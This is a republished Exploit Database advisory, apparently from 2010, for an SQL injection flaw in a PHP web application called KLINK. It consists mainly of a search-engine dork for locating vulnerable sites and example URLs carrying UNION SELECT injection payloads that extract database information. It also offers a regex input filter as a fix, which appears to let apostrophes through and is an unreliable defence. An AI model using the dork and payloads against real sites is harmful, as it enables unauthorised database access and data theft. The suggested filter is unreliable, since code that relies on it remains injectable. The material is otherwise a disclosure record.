KLINK – SQL Injection

• Exploit Database
• 123 阅读

• 作者： Mauro Rossi & Andres Gomez
  日期： 2011-01-01
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/15886/
• 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31

  ##########################[Andr�s G�mez]################################ > # Exploit Title : KLINK Sql Injection Vulnerability > # Date : 2010-12-31 > # Author : Andr�s G�mez > # Software Developed by : http://www.contacto.com<http://www.contacto.com.com/> > # Contact : gomezandres@adinet.com.uy > # Dork : "allinurl:*.php?txtCodiInfo=" > ######################################################################## > # An attacker may execute arbitrary SQL statements on the vulnerable > system. > #This may compromise the integrity of your database and/or expose sensitive > information. > ######################################################################## > # Example 1: http://site.tld/path/interna.php?txtCodiInfo=&apos; > # Example 2: > http://site.tld/path/interna.php?txtCodiInfo=2+and+1=0+union+select+1,2,3,4,5,6,7,8,9,10-- > # Example 3: > http://site.tld/path/interna.php?txtCodiInfo=2+and+1=0+union+select+1,2,3,@@version,5,6,7,8,9,10-- > ######################################################################## > # Malicious users may inject SQL querys into a vulnerable > # application to fool a user in order to gather data from them or see > sensible information. > ######################################################################## > # Solution: > # $_GET = preg_replace("|([^\w\s\&apos;])|i",&apos;&apos;,$_GET); > # $_POST = preg_replace("|([^\w\s\&apos;])|i",&apos;&apos;,$_POST); > # Add them to your template index.php after the first <?php decelaration. > ######################################################################## > # Special Thanks : HYPERNETHOST & Mauro Rossi > ##########################[Andr�s G�mez]################################